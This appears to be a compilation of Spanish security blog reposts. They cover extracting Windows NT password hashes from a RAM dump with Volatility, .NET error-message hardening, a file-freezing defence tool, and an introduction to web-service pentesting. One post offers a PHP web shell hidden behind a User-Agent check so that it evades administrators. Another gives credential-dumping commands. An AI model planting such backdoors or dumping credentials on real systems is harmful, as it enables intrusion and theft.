miércoles, 26 de agosto de 2015

Mira mamá.. encontre un hash: Obteniendo passwords NT de un volcado de RAM.


Buenas, después de unas semanas del primer post, retomamos el blog.
Hace unos días, buscando unos PDF’s para sumar conocimientos en el área de informática forense, me tope con un libro interesante. “The Art of Memory Forensics”, un libro que apunta a la detección de malware y otras amenazas, en la memoria de sistemas Windows, Linux y Mac.

Una lectura interesante que comienza profundizando en terminologias y conceptos de hardware, estructura del sistema operativo, manejo de procesos y memoria entre otras tematicas y luego nos introduce a la acción y lo practico, que es a lo que vamos con el post de hoy; la adquisición del volcado de RAM y el análisis de la misma para obtener hashes del sistema (Windows en este caso).
Adquirir un volcado de la memoria RAM nos puede dar mucho jugo, del mismo podemos extraer información muy valiosa a la hora de un análisis forense, como conexiones establecidas, procesos en ejecución, comandos tipeados en el cmd, usuarios, contraseñas, registros de la caché, sistema de archivos, entre otros datos útiles en los que se requiere la preservación de la escena y VOLATILIDAD de la evidencia.
mem-analysis
Para esta prueba vamos a utilizar dos herramientas fundamentales:
– DumpIt.
– Volatility Framework.
DumpIt es un software para Windows que captura y almacena una imagen de la memoria RAM, el cual podemos descargar en su version free de su sitio web. Mientras que Volatility es un framework multiplataforma desarrollado en Python que permite la extracción de datos del volcado obtenido mediante un conjunto de scripts muy poderosos, es opensource y podemos obtener su código desde su repositorio en GitHub.
Para empezar, use como victima del análisis una PC de escritorio con Windows 7 de 32 bits.
Copiamos el ejecutable de DumpIt en un pendrive, lo introducimos en la maquina a analizar y lo ejecutamos.
 Al ejecutarlo, el mismo nos muestra el tamaño de la captura, la ruta donde se va a almacenar y nos pregunta si deseamos proceder. Una vez que aceptamos continuar, comienza el proceso de captura y lo almacena en un archivo de formato raw.
Una vez terminado, copiamos el archivo a la maquina donde vamos a analizar el fichero. En mi caso, una laptop con Debian donde tenemos instalado Volatility.
Primero que nada necesitamos obtener el perfil del volcado, para ello tiramos del comando
 volatility imageinfo -f archivo-de-captura.raw


Como vemos en la imagen superior, la herramienta comienza a generar la información necesaria para su posterior análisis.

En la primera linea de la información imprimida, podemos ver el id de perfil que necesitamos para continuar, en nuestro caso: Win7SP0x86.
Para obtener las direcciones de memoria donde se encuentran los hashes, tipeamos
vol.py hivelist -f captura-de-ram.raw –profile=perfil-obtenido
Lo que nos imprime:

Ya tenemos la ruta de nuestro PRECIOOOOSO! }:)

A continuación vamos a hacer uso del script hashdump, para el que necesitamos establecer como parámetros la dirección virtual de SYSTEM y SAM como vemos en la imagen inferior, para obtener los preciados hashes de las cuentas del sistema.
vol.py -f AMD-20150826-042024.raw –profile=Win7SP0x86 hashdump -y 0x8981a248 -s 0x89bf19c8

Y.. TARAAANN!!! Ya tenemos las cuentas de usuario de la maquina comprometida, con sus respectivos hashes, los cuales posteriormente podemos crackear con herramientas como mimikatz, john the ripper u ophcrack.


Como pudimos ver, la memoria RAM almacena información muy relevante en estos casos (todo esto me recuerda a un tema de Leon Gieco) sin olvidar que hablamos de una herramienta muy poderosa a la hora de analizar una captura de RAM, que además de este script contiene muchos otros muy interesantes y prácticos. Dada por finalizada esta publicación, espero haberlos entretenido y que les sirva de algo.
Saludos, y pronto nos vemos en otro post! :)

Fuente: https://caffeinesec.wordpress.com/2015/08/26/mira-mama-encontre-un-hash-obteniendo-passwords-nt-de-un-volcado-de-ram/

Ocultando Backdoor a través del User-Agent

Como todos sabemos, esconder un backdoor a veces no es un trabajo sencillo, ya que, sin contar de que el sysadmin sea inteligente, hay scripts automatizados que se encargan de buscar este tipo de backdoors.

Así que, un método para evitar esto, es jugar con el User-Agent de nuestro navegador.

Con un código bastante simple, podemos proteger nuestro backdoor de visitas indeseadas:


  1. <?php
  2. if ($_SERVER['HTTP_USER_AGENT'] == "blackdrake")
  3. {
  4.         @system($_GET['cmd']);
  5. }
  6. ?>


De este modo, con una visita normal, no podremos ejecutar los comandos:


En cambio, modificando el User-Agent por blackdrake, si que podremos:



Algo muy sencillo pero que a algunos le vendrá bastante bien.

Un saludo.

Fuente: https://underc0de.org/foro/seguridad-en-servidores/ocultando-backdoor-a-traves-del-user-agent/

CustomErrors en .NET: Cómo evitar fugas de información por los mensajes de error

 Para terminar este ciclo que he dedicado a los errores, o más concretamente a los mensajes de error, en aplicaciones .NET, es obligatorio terminar hablando de la posibilidad que permite el framework de personalizar, a nivel de servidor en el fichero Machine.Config o a nivel de aplicación en Web.Config, los mensajes de error que se van a mostrar. Ya hemos visto que los mensajes de error en modo Debug pueden generar un problema de seguridad grande al mostrarse el código fuente de la aplicación, pero los mismos mensajes de error .NET, aún no estando activado dicho modo, pueden seguir dando muchos detalles de la plataforma a los posibles atacantes. Esto se puede solucionar con una personalización robusta de los mensajes de error.

Figura 1: CustomErrors en aplicaciones .NET
La configuración de los mensajes de error permite que se personalice el entorno con cuatro posibilidades distintas, que deben ser tomadas en cuenta para cada necesidad. Esto se hace dentro de la sección de Machine.Config o Web.Config dedicado a System.Web, tal y como se ve a continuación:
<system.web>
<customErrors mode="On|Off|RemoteOnly" defaultRedirect="~/Error/Index" />
</ system.web>
CustomErrors mode OFF

Si el framework tiene configurado el valor de CustomErrors a OFF, eso quiere decir que se deben mostrar los errores .NET detallados, con la información concreta de qué excepción no controlada lo ha generado.

Figura 2: Error detallado que se obtiene con CustomErrors OFF

Un atacante podrá saber en todo momento qué es lo que está fallando en la aplicación .NET y le servirá para preparar una estrategia de ataque mucho más fácilmente.
CustomErrors mode ON

En este caso, cuando se genere un mensaje de error se mostrará una información genérica. Estos mensajes son los famosos Runtime Error que tantas veces aparecen en aplicaciones .NET. Esto indica que hay una excepción no controlada, pero el código del mensaje no da detalles sobre qué lo ha generado.

CustomErrors mode RemoteOnly

En este caso, el mensaje de error será también el genérico "Runtime Error" cuando se esté conectado el cliente desde una ubicación remota, y detallado cuando se genere desde la máquina local. En el siguiente ejemplo se puede ver como el mensaje indica que es genérico, pero que sería detallado si la conexión fuera local.
Figura 3: Error genérico que se obtiene con CustomErrors ON o
con CustomErrors RemoteOnly en una conexión remota
CustomErrors mode ON | RemoteOnly con DefaultRedirect

En el caso de que se haya decidido poner un modo de CustomErrors configurado a ON o a RemoteOnly, se puede configurar una página de error genérica. Esto haría que se diera solo la información corporativa que se desease. En el siguiente ejemplo el DefaultRedirect de Microsoft.com con los errores .NET.


Figura 4: Excepción controlada con CustomErrors y DefaultRedirect
Otros Errores de IIS y/o de Request Filtering

Hay que tener presente que, en un servidor IIS con una aplicación .NET hay otros mensajes de error que también hay que configurar. Ya vimos hace poco que los mensajes de error del módulo de Request Filtering son totalmente distintos, o los que se obtienen por cualquier excepción en el propio servidor IIS.

Figura 5: Mensaje de error 405 en un servidor IIS
Pero también serán distintos los errores del propio servidor IIS que tengan que ver con aplicaciones que no sean .NET, como en el caso de aplicaciones ASP normales, tal y como puede verse en la siguiente imagen.

Figura 6: Mensaje Error 404 en un servidor IIS con una aplicación ASP
Es decir, configurar CustomErrors en .NET ayuda a tener los errores del framework .NET controlados, pero debes controlar los mensajes de error de todos los frameworks, que puedes tener las fugas de información en cualquier sitio.
Saludos Malignos!

Fuente: http://www.elladodelmal.com/2015/06/customerrores-en-net-como-evitar-fugas.html

Congela tu web con SnapWeb y ¡disfruta del fin de semana!



Desde que la mayoría de las empresas piensan en un CMS a la hora de decidir cómo hacer su flamante nueva Web, debo reconocer que de forma casi directamente proporcional han aumentado mis dolores de cabeza: que si un módulo no actualizado había permitido “colar” un shell-remoto, que si habían modificado todos los .js del site, que si Google marca mi sitio como que contiene software malicioso, etc.
Estos nuevos “desafíos” hicieron que recordara una herramienta con la que tropecé hace ya algunos años y que me pareció genial. Dicha herramienta (Deep Freeze) permitía “congelar” todo el disco de tal forma que, cualquier cambio realizado en el equipo (instalación de software, infección de virus,  descargas, etc.), era eliminado automágicamente al reiniciar.  Con este antecedente, pensé en hacer algo parecido. Un sistema que fuera capaz de impedir cualquier cambio en cualquier archivo de mi Web, incluso impedir que se pudiera añadir/eliminar cualquier nuevo fichero/directorio, es decir, una especie de modo "Sólo lectura" para la Web que me permitiera pasar un fin de semana tranquilo y sin llamadas.
Una vez tenía clara la idea feliz, y el nombre: SnapWeb, pensé en realizar una copia del directorio web y, a través de una tarea cron, comprobar si se había realizado cualquier cambio y restaurarlo con la copia. Si bien este sistema funcionaba de forma correcta, tenía dos problemas fundamentales: 
  1. ¿Cada cuánto tiempo repito la tarea?
  2. El hecho de tener que comprobar TODO el sitio web cada vez; esto es un gran hándicap para los sites hechos con un CMS donde hay múltiples archivos y directorios. 
Con estas debilidades encontradas, recordé un proyecto que vi, allá por el 2010, que permitía analizar ficheros en tiempo real con clamAV + Inotify (También en SbD se han publicado varios post acerca de este asunto: Post 1 y Post 2). En este caso, la API inotify (disponible a partir de linux 2.6.13),  permitía iniciar el antivirus cuando se producía cualquier cambio en el sistema de archivos. 

Puesto que tenía claro que mi sistema iba a estar programado en BASH, busqué en alternativas que implementaran dicha API y que lanzaran mi script cuando se produjera algún evento sobre el directorio del site. 
De las distintas opciones que vi seleccioné incron. Éste programa es una mezcla de cron (programación de tareas) + inotify (detección de eventos en el sistema de archivos), lo que permite que se ejecuten tareas cada vez que se produce un evento sobre el directorio indicado. Una de los hándicaps que tiene incron es la NO recursividad, es decir, que en el fichero de configuración /etc/incron.conf debe contener cada uno de los directorios del site, además, cualquier nuevo directorio que se cree dentro del site debe ser dado de alta en el fichero de configuración.
Para solucionar el problema de la NO recursividad de incron, tenía claro que mi proyecto debía estar divido en dos scripts:
  1. snapweb.sh --> Encargado de, dado un directorio pasado como parámetro, dar de alta en el fichero de configuración de incron todos los subdirectorios (Así solucioné los problemas de recursividad). 
  2. jack.sh --> Será lanzado por incron cuando se produzca un evento. Dicho script recibirá el nombre del fichero afectado, su ruta y el evento en cuestión.
Pensé en hacer una especie de snapshot del directorio y monitorizar cualquier cambio posterior, denegando dichos cambios; después pensé que denegar siempre sería un poco radical, que lo ideal sería poder configurar varios tipos de bloqueo. Finalmente me decanté por esta segunda opción, con lo que en un fichero de configuración /etc/snapweb/snapweb.conf podremos decidir el tipo de bloqueo, existiendo un valor global que habilita el modo "freeze" del site: site_lock=1.
Está claro que esta solución no resuelve todas la vulnerabilidades que pueden explotarse en un CMS, pero sí permite cierta inmunidad a determinados exploits cuyo “modus operandi” está basado en la modificación de archivos (CryptoPHP), en la subida de Shells remotos o, incluso, en el uso de credenciales FTP robadas para distribuir malware. 
Actualmente una vez implementado correctamente ese “modo candado”, aquí os dejo un link a un vídeo con una prueba de concepto.



Estoy realizando varias mejoras:
  • Nuevos modos de "bloqueo":
    • Modo automático: Analiza en tiempo real cualquier cambio, categoriza dichos cambios y decide qué hacer.
      • Aceptar cambios y guardar réplica.
      • Denegar cambios y volver a réplica -> En este caso, para evitar los problemas que pudiera provocar un falso positivo, guardo copia del archivo en “cuarentena”
    • Modo semiautomático:
      • Si no se detectan indicios de malware, se acepta cambio, se actualiza réplica y se envía correo de notificación.
      • Si se detecta malware, por encima de un umbral, se rechazan los cambios y se notifica al administrador.
      • Si sólo hay indicios de malware pero no certeza, se envía correo al administrador para que éste decida qué hacer con dicha incidencia.
    • Modo candado: No permite ningún cambio en el site, descartando de forma automática cualquier cambio en el site (Nuevas carpetas/archivos, cambios en ficheros existentes, etc.)
  • Configuración del modo por site: Ahora los modos de bloqueo pueden indicarse por site, en vez de un único tipo de bloqueo para todos los sites albergados.
  • Exclusión de directorios a monitorizar.
  • Activación de modo "candado" por horario.
  • Administración y monitorización de snapweb vía App.
Espero acabar pronto con esta primera parte del proyecto, publicarlo en github y que esté disponible para todos aquellos que lo consideréis interesante.

Además aprovecho para indicaros que si tenéis cualquier duda, sugerencia o crítica,  estaré encantando de recibirlas... aunque con las críticas habilitaré el modo bloqueo  :P.

[+] Ruta GitHub para su descarga y prueba: https://github.com/wllop/snapweb

Fuente: http://www.securitybydefault.com/2015/07/congela-tu-web-con-snapweb-y-disfruta.html

domingo, 16 de agosto de 2015

Web Services Penetration Testing Part 1

Introduction:
Web application security is quite popular among the pen testers. So organizations, developers and pen testers treat web applications as a primary attack vector. As web services are relatively new as compared to web applications, it’s considered as secondary attack vector. Due to lack of concern or knowledge it is generally found that security measures implemented in a web service is worse than what is implemented in web applications. Which makes the web service a favorite attack vector and easy to penetrate as per the attacker’s point of view.
Another reason to write this article is that the use of web services increased in last couple of years in a major ratio and also the data which flows in web services are very sensitive. This makes web services again an important attack vector.
The use of web services increased suddenly because of mobile applications. As we all know the growth of usage for mobile applications has increased rapidly, and most mobile applications use some sort of web service. Which has relatively increased the use of web services. Web services are also mostly used by enterprise level software which carries a lot of sensitive data. Due to the lack of security implementations and resources available, web services play a vital role making it a possible attacking vector.
In this article we will focus on details of web services, its testing approach, tools used for testing etc.
SOA:
Before starting to penetrate a web service we must know its basics. As a web service is the implementation of SOA. Let’s start with SOA.
SOA stands for Service Oriented Architecture. According to Wikipedia “Service-oriented architecture (SOA) is a software design and software architecture design pattern based on discrete pieces of software that provide application functionality as services, known as Service-orientation. A service is a self-contained logical representation of a repeatable function or activity. Services can be combined by other software applications that together, provide the complete functionality of a large software application”.
In simple words it is quite similar to client server architecture but here a client is a service consumer and server is a service provider. Service is a well defined activity that does not depend on the state of other services. A service consumer requests a particular service in the format used by the service provider and the service provider returns with a service response as shown in Fig 1.
Fig 1: Service Oriented Architecture (SOA)
What is Web Service?
A Web service is a standardized way of establishing communication between two Web-based applications by using open standards over an internet protocol backbone. Generally web applications work using HTTP and HTML, but web services work using HTTP and XML. Which as added some advantages over web applications. HTTP is transfer independent and XML is data independent, the combination of both makes web services support a heterogeneous environment.
Why use Web Service?
Web services have some added advantages over web applications. Some are listed below:
  1. Language Interoperability (Programming language independent)
  2. Platform Independent (Hardware and OS independent)
  3. Function Reusability
  4. Firewall Friendly
  5. Use of Standardized Protocols
  6. Stateless Communication
  7. Economic
Difference between Web Application and Web Services:
A web application is an application that is accessed through a web browser running on a client’s machine whereas a web service is a system of software that allows different machines to interact with each other through a network. Most of the times, web services do not necessarily have a user interface since it’s used as a component in an application, while a web application is a complete application with a GUI. Furthermore, web services will take a web application to the next level because it’s used to communicate or transfer data between web applications that run on different platforms allowing it to support a heterogeneous environment.
Components of Web Services:
  1. Service Consumer
  2. Service Provider
  3. XML (Extensible Markup Language)
  4. SOAP (Simple Object Access Protocol)
  5. WSDL (Web Services Description Language)
  6. UDDI (Universal Description, Discovery and Integration)
Service Consumer and Service Provider: are applications that can be written in any programming language. The work of both these components is already mentioned in SOA division.
Extensible Markup Language (XML): is used to encode data and form the SOAP message.
Simple Object Access Protocol (SOAP): is a XML-based protocol that lets applications exchange information over HTTP. Web services use a SOAP format to send XML requests. A SOAP client sends a SOAP message to the server. The server responds back again with a SOAP message along with the requested service. The entire SOAP message is packed in a SOAP Envelope as shown in Fig 2.
Fig 2: SOAP Message Structure
The actual data flows in the body block and the metadata is usually carried by the header block.
A typical SOAP request looks like Fig 3.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /ws/ws.asmx HTTP/1.1
Host: www.example.com
Content-Type: text/xml; charset=utf-8
Content-Length: length
 
<?xml version="1.0" encoding="utf-8"?>
<soap:Body>
<IsValidUser xmlns="http://www.example.com/ws/">
<UserId>string</UserId>
</IsValidUser>
</soap:Body>
</soap:Envelope>
Fig 3: SOAP Request
If the service consumer sends a proper SOAP request then the service provider will send an appropriate SOAP response. A typical SOAP response looks like Fig 4.
1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.1 200 OK
Content-Type: text/xml; charset=utf-8
Content-Length: length
 
<?xml version="1.0" encoding="utf-8"?>
<soap:Body>
<IsValidUserResponse xmlns="http://www.example.com/ws/">
<IsValidUserResult>boolean</IsValidUserResult>
</IsValidUserResponse>
</soap:Body>
</soap:Envelope>
Fig 4: SOAP Response
Web Services Description Language (WSDL): is really an XML formatted language used by UDDI. It describes the capabilities of the web service as, the collection of communication end points with the ability of exchanging messages. Or in simple words “Web Services Description Language is an XML-based language for describing Web services and how to access them”.
As per pen testing web services are concerned, understanding of WSDL file helps a lot in manual pen testing. We can divide WSDL file structure in to two parts according to our definition. 1st part describes what the web service and the 2ndparts tells how to access them. Let’s start with basic WSDL structure as shown in Fig 5.

Fig 5: Basic WSDL File Structure
The Fig 5 image only focuses on some of the important elements of the WSDL file. What the element exactly contains is defined in Table 1.
ElementsWhat it contains
definitionsAll the XML elements are packed under definition element. It is also called as root or parent element of the WSDL file.
typesAll the schema types or data types defined here.
messageThis is a dependent element. Message is specified according to the data types defined in types element. And used in sideoperation element later.
portTypeElement collects all the operations within a web service.
operationCollection of input, output, fault and other message as specified in message element.
input messageIt’s nothing but the parameters of the method used in SOAP request.
output messageIt’s nothing but the parameters of the method used in SOAP response.
bindingThis element connects part 2 of WSDL file with part1 associating itself to the portType element and allows to define the protocol you want to use.
soap:bindingIt formulates the SOAP message at runtime.
serviceContains name of all the services provided by the service provider.
portIt provides the physical path or location of web server so that service consumer can connect with service provider.
Table 1: Defining Different Elements of WSDL File

Fig 6: A WSDL file
Universal Description, Discovery and Integration (UDDI): is a distributive directory on the web, where every service provider who needs to issue registered
web services using its WSDL. The service consumer will search for appropriate web services and UDDI will provide the list of service providers offering that particular service. The service consumer chooses one service provider and gets the WSDL.
A typical UDDI link looks like Fig 7.
Fig 7: UDDI Link
What are Web Services?
Let’s redefine the web services from all the things what we’ve covered above. “Web services are a standardized way of establishing communication between two Web-based applications by using XML, SOAP, WSDL, UDDI and open standards over an internet protocol backbone. Where XML is used to encode the data in the form of a SOAP message. SOAP is used to exchange information over HTTP, WSDL and is used to describe the capabilities of web services and UDDI is used to provide the list of service provider details as shown in Fig 8. ”

Fig 8: Web Service Description
In a real time scenario if a service consumer wants to use some sort of web service, then it must know the service provider. If a service provider validates a service consumer it will provide the WSDL file directly and then the service consumer creates a XML message to request for a required service in the form of a SOAP message and the service provider returns a service response.
On other hand if a service consumer is not aware of the service provider, it will visit UDDI and search for the required service. The UDDI returns the list of service providers offering that particular service. Then by choosing one service provider again the service consumer generates a XML message to request for a required service in the form of a SOAP message, as specified in the WSDL file of that service provider. The service provider then returns a service response. Generally in web service testing we assume the service consumer and the service provider know each other, so to start testing a web service we must ask for the WSDL file.
How to test Web Services?
The testing approach of web services is quite similar to the testing approach used in web applications. Though there are certain differences, but we will discuss those at a later time. Web services testing is categorized in 3 types:
  1. Black Box Testing
  2. Grey Box Testing
  3. White Box Testing
In black box testing the tester has to focus more on authentication because he/she will be provided only with WSDL file. I prefer grey box most, because it’s better to have some sample requests and responses to analyze the web services better. It will help to understand the user roles, authentication mechanism and data validations etc.
Depending upon the scope and scenario, our testing methodology will change. We will focus on all these testing approaches but to start with now we will use black box testing.
Where to Start?
Let’s say that you want to test for web services associated with a web applicationhttp://www.example.com, it’s a black box testing and you have no details of the web service associated. (Generally if a client wants to test their web services they will provide you the WSDL file but for now we assume that we don’t have the WSDL file)
Then you can start from web services fingerprinting. As we already covered that all the web services descriptions are present in WSDL so you can use google to fingerprint the WSDL file of that particular web application using special notations such as filetype shown in Fig 9.
1
www.example.com filetype:WSDL
Fig 9: Use of Google Dork to Find WSDL
Fig: 10 (Search Result)
As shown in Fig 10, Google will provide you the link of the WSDL file associated with that particular web application. You can use your own dorks or there are dorks available on internet to search for different web services which you can apply also.
Now you have the WSDL file, what is next? As in any kind of penetration testing we need some tools, here also we will use some tools to test for web services. I will cover tools used in web services testing in the installment of this article.
Conclusion:
The sudden increase in the use of web services makes it an important attack vector and the lack of importance it is given makes it more vulnerable. Organizations, developers and testers need to give web services equivalent importance as web applications.
Reference:

Fuente: http://resources.infosecinstitute.com/web-services-penetration-testing-part-1/